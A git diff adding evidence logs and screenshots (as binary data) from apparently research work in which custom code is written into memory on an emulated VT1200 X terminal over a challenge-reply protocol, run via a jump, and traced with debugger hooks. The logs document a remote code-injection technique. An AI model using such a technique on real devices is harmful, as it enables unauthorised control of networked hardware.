zD5=ogyx@U%6x1I^xHfj>47@-V{N@_^$!G8ef^*b@OHOP~3b#xzet`aUK*m;=&iVkF z@(qll`#g2)LDovWMHaa(s-13m!YVl6w;n%C@_yT}c8UIY>H_1FYC5~nYM4nO@?#K+ z=(`u`#MwPr6Ogh0xiLT4K7>`~Bdy^qGkvti%+{*7tjWZ7r775xPMJ2?RNeomb~pbc zOwAJ?`u&pikb_~fw&0=J%gJ&ZKkmt8Q>G6(PM)KN6_HkuTmw!o$;8OcV+FgL1mBki z?_X!z25jH;E;EfA#FtzXV4AU`MS*E{%Z{&QOU5at%-2!*2&*euzn%i!BW%vGF9I}E z;ld&;9|9{@a(_KNZdNhbzm!9Y5Y{Z5ks?QSPCp4ook>DFmR~(lS|(?TA)H}7W#8nQ zQ8csi)u3*KkMgB*@W-UgmM=!A+UT5y_&juqT4!b0*}TjaGC5G*Md`L@LBhKautZqy?1D%qLNJ6S z${X9ZNGtD>q+iiz76)_-Nlm&Ket#c(5>#i~NH1*E6;(^H19a}JuH$;dG=e4KWI=hC z_b&?O7Bc;&NI9gai@l0fUWu@IS0BHAOPpSwhN)H#xr*Gc+c;{0A%Kh%&E~yQDFTTw zQO0Qtr2U>9uCebln84*WPW$v( zl+6&=xtIy6QW@I0EXwDodNs)Grpp}`PF_X|HW-G2=GObMZRX%7Xp+4xclRDOmqtdm*-T4kxv^AYt@k$u}YBSA9k~6DDj&i0_bvYGW3kI z`K%JiatgwG^Qmk{l&fJoM-9uZh8`3W^O|G2bSx%bt!B`LLpeOt_rbxNurUgO zK|w)4!v$eYEIH-|`7O!M1m*Yd82%PdqyDE-t@ViC^P>aqGmAC0f!$)hHugg-K^bVu zcm4`5gfC13`!m_gPqV!5WBm*TXJebC|4ArcJ+-qV$@{}j{zH01*o*%0U`TWCj@-ST z!xL$i<1KX>XoRKBocvF*O-M`X(=RV9BDjTeK3;oJpy*D3BMJaJmZ z@t1$I?|D&6jN}DrEG7#-QXqJnq=K20FM|1Ovfll>QLT3 zk{&6WJb!jUeLt5N|QBsyD64ZehC(X2bZ7D#D%;9(!7TNzG&%pvH7SY}Zb`v*W zB2toO8TW}jldl=@y9im92Q!ponh-PZi2fVngb*D6j$8pE-kTp>=hDd>P{RI<#iSTw z#waob2}JG)C*c6XXc30u2ep3zLU+k^@!_-MGDw3`Xp95Avi=Kp+#gkWTkd` zN)%%^OYkIckDl#3Fv$={j#QCl>;LN&N3{{v5tg9tVo~Iw129LN=Vt(j{34v4#w0qk(+8`0kOS3?4 zynxi*Bo84p1fb+n>j^obN+E4yZ;J5rCrL6ts8Ss~;$_0>c3de&0QWGeMDoB89J1pj zI|DJJ&z`SG+|1^Bj0^LjG@2=#sVk;Pypk#;Rls==LsArx(87A8&pEQ|xCBGf3=}2= zsZ<7e1zX8d)InP^{H0`IXVQL|&-j4VclNGg-ErZ)723E0g`kQCv{K5GqK)9vu*A{R z68S+8deIh(DlH5d6!*VdK4x&`qDY~6Iuz6Glcu1ITo+Mjim5$HrM~T&++c|DhL{L3FSbE7MH6KZ??8?GK@bzrw|xzvRk6qc zHq)iQFbpyvst^$-Rn>Cj*R+Uh2eKopfVXodBO`a8P#W1XRmCc0Pr8fc-g|tryV=@> zA9q{hwQpUXT$#G@_(B7c3pit__F}5^l2*_0P+=udHRjMOv}6AVL0|OwuZ1K&%XoFaxjBPQj>yq8Myo|qoJp#HHjV_d(BgFg*+uEUi literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/blink_repeat_client.log b/dwt/evidence/visual/blink_repeat_client.log new file mode 100644 index 0000000..2088f77 --- /dev/null +++ b/dwt/evidence/visual/blink_repeat_client.log @@ -0,0 +1,21 @@ +install blinkev at frame 3396 +[+] challenge ee bc de 08 00 00 db bd 02 63 a8 c0 ee b4 de 09 +[+] reply a4 05 87 aa bd 84 96 24 5c b3 bf b0 6d 7a 1c 04 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/blinkev.bin: 252 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x01840800 (32) -> 0b 00 00 00 80 13 70 3f 21 00 20 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 +install done at frame 3437 +--- query at 3450 --- +[+] challenge ff fc df 0f 00 00 de fe 02 63 a8 c0 ff fc df 10 +[+] reply 51 20 c7 45 f0 45 2d 0f 3b d6 a6 3f 19 83 25 da +error: timed out +now 3560 +--- query at 3470 --- +error: [Errno 113] No route to host +now 3560 +--- query at 3500 --- +error: [Errno 113] No route to host +now 3560 diff --git a/dwt/evidence/visual/blink_repeat_mame.log b/dwt/evidence/visual/blink_repeat_mame.log new file mode 100644 index 0000000..6f7a573 --- /dev/null +++ b/dwt/evidence/visual/blink_repeat_mame.log @@ -0,0 +1,29 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=0 clip_y=0..900 screen=1280x901 +vt1200: scanline#1 line=0 enabled=1 +vt1200: guard#2 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#4 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +vt1200: dumped frame 3440 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3440.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3445 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3445.ppm (1280x901, 468046 lit = 40.5839%) +vt1200: dumped frame 3450 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3450.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3455 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3455.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3460 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3460.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3465 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3465.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3470 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3470.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3475 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3475.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3480 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3480.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3485 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3485.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3490 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3490.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3495 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3495.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3500 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3500.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3505 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3505.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3510 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3510.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3515 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3515.ppm (1280x901, 463950 lit = 40.2287%) +vt1200: dumped frame 3520 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live3/frames/vt1200-frame-3520.ppm (1280x901, 454990 lit = 39.4518%) +frame_clock: stopping at frame 3560 +Average speed: 322.76% (49 seconds) diff --git a/dwt/evidence/visual/blink_resident_client.log b/dwt/evidence/visual/blink_resident_client.log new file mode 100644 index 0000000..437d5e5 --- /dev/null +++ b/dwt/evidence/visual/blink_resident_client.log @@ -0,0 +1,15 @@ +install at frame 3398 +[+] challenge f9 14 dc bd 00 00 db bd 02 63 a8 c0 f9 14 dc bd +[+] reply 50 5d c9 c1 fa e3 89 ad 63 a8 65 c9 1e 16 1b b9 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/blink.bin: 172 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x0186f000 (16) -> 0a 00 54 55 55 55 55 55 55 55 55 55 55 55 55 55 +install done at frame 3433 +frame~3500: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x0186f000 (8) -> 62 00 54 55 55 55 55 55 now 3524 +frame~3600: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x0186f000 (8) -> c7 00 54 55 55 55 55 55 now 3623 +frame~3700: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x0186f000 (8) -> 28 01 54 55 55 55 55 55 now 3727 +frame~3900: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x0186f000 (8) -> ec 01 54 55 55 55 55 55 now 3925 +frame~4200: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x0186f000 (8) -> 19 03 54 55 55 55 55 55 now 4227 diff --git a/dwt/evidence/visual/control_hello_3480.png b/dwt/evidence/visual/control_hello_3480.png new file mode 100644 index 0000000000000000000000000000000000000000..60d888383a4caa6bc14a1fba617b63ba20420c2d GIT binary patch literal 5152 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 literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/control_spin_client.log b/dwt/evidence/visual/control_spin_client.log new file mode 100644 index 0000000..4a48700 --- /dev/null +++ b/dwt/evidence/visual/control_spin_client.log @@ -0,0 +1,7 @@ +inject at frame 3400 +[+] challenge ef bc dd d7 00 00 db ac 02 63 a8 c0 ef b4 dd d8 +[+] reply 2d ec e8 aa c8 72 a2 ac c0 66 b6 ef 05 b8 35 97 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/drawspin.bin: 118 bytes at 0x01840000: ok +jump 0x01840000: NO RETURN within 0.01s +client done at frame 3415 diff --git a/dwt/evidence/visual/di_one_shot_state.log b/dwt/evidence/visual/di_one_shot_state.log new file mode 100644 index 0000000..74ac72b --- /dev/null +++ b/dwt/evidence/visual/di_one_shot_state.log @@ -0,0 +1,29 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=0 clip_y=0..900 screen=1280x901 +vt1200: scanline#1 line=0 enabled=1 +vt1200: guard#2 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#4 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +END f=3480 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F800250 box=00000000 +END f=3490 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F760250 box=00000000 +END f=3500 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F6C0250 box=00000000 +END f=3510 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F620250 box=00000000 +END f=3520 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F580250 box=00000000 +END f=3530 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F4E0250 box=00000000 +END f=3540 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F440250 box=00000000 +END f=3550 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F3A0250 box=00000000 +END f=3560 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F300250 box=00000000 +END f=3570 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F260250 box=00000000 +END f=3580 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F1C0250 box=00000000 +END f=3590 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F120250 box=00000000 +END f=3600 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3F080250 box=00000000 +END f=3610 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3EFE0250 box=00000000 +END f=3620 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3EF40250 box=00000000 +END f=3630 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3EEA0250 box=00000000 +END f=3640 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3EE00250 box=00000000 +END f=3650 PC=3F579870 SP=000053A0 ST=00200010 counter=0001 state=0000 orig=3ED60250 box=00000000 +Average speed: 321.26% (50 seconds) diff --git a/dwt/evidence/visual/hook_breakpoints.log b/dwt/evidence/visual/hook_breakpoints.log new file mode 100644 index 0000000..338fd50 --- /dev/null +++ b/dwt/evidence/visual/hook_breakpoints.log @@ -0,0 +1,73 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=006C31F0 st=00000010 a0=007A6860 + +HOOK OSH pc=3F7146D0 sp=0049E5F0 st=00000010 a0=00000000 + +HOOK OSH pc=3F7146D0 sp=007C8630 st=00000010 a0=00000000 + +HOOK OSH pc=3F7146D0 sp=00476690 st=00000010 a0=00000046 + +HOOK OSH pc=3F7146D0 sp=004764B0 st=00000010 a0=0038AD90 + +HOOK OSH pc=3F7146D0 sp=007C8230 st=00000010 a0=00000FF5 + +HOOK ENTRY pc=01840190 sp=00005360 st=00000010 a0=00000606 + +HOOK OSH pc=3F7146D0 sp=00005360 st=00000010 a0=0003F579 + +HOOK RET pc=018402D0 sp=000053A0 st=00200010 a0=0003F579 + diff --git a/dwt/evidence/visual/posthandler_persist_3600.png b/dwt/evidence/visual/posthandler_persist_3600.png new file mode 100644 index 